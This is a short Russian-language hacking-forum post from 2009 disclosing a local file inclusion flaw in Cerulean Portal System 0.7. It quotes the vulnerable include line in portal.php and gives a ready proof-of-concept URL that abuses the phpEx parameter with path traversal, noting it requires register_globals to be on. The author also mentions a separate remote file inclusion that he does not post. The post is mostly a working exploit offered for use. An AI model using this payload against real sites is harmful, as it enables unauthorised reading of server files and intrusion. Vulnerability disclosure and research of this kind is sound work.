16.11.2009, 21:08
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами:
8850336
Репутация:
330
|
|
[ Cerulean Portal System version 0.7 LFI ]
Уязвимый код portal.php:
PHP код:
...
include ($phpbb_root_path . 'portal/config.' . $phpEx);
...
Реализация:
Код:
http://localhost/18/portal.php?phpEx=./../../file.php
Требования: register_globals = ON
Так же там есть RFI, но его я не выкладываю, так как его нашли ранше меня и уже опубликовали 
Последний раз редактировалось Ins3t; 16.11.2009 в 21:11..
|
|
|